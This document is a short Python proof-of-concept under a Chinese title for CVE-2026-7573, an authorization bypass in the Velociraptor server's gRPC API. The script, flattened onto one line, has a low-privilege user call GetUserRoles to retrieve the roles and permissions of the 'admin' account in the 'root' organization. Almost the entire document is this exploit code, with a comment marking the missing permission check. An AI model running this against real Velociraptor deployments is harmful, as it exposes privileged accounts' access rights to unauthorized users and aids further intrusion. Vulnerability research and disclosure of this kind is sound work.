CVE-2026-7573 Velociraptor权限绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-7573: Velociraptor Authorization Bypass # This script demonstrates how a low-privilege user can retrieve ACLs of any user. import grpc import api_pb2 import api_pb2_grpc def get_user_acl(target_username, target_org, attacker_creds): # Create a secure channel to the Velociraptor server channel = grpc.secure_channel('localhost:8000', attacker_creds) stub = api_pb2_grpc.APIStub(channel) # Construct the request to GetUserRoles # Vulnerability: The API does not check if the requester has permission to view 'target_username' in 'target_org' request = api_pb2.GetUserRolesRequest( name=target_username, org=target_org ) try: # Execute the request response = stub.GetUserRoles(request) print(f"[+] Successfully retrieved ACL for user: {target_username}") print(f"[+] Roles: {response.roles}") print(f"[+] Permissions: {response.permissions}") return response except grpc.RpcError as e: print(f"[-] Error: {e.code()} - {e.details()}") return None if __name__ == "__main__": # Attacker's credentials (low privilege) creds = grpc.ssl_channel_credentials() # Target: Administrator in the Root organization TARGET_USER = "admin" TARGET_ORG = "root" print(f"[*] Attempting to bypass authorization and fetch ACL for {TARGET_USER}...") get_user_acl(TARGET_USER, TARGET_ORG, creds)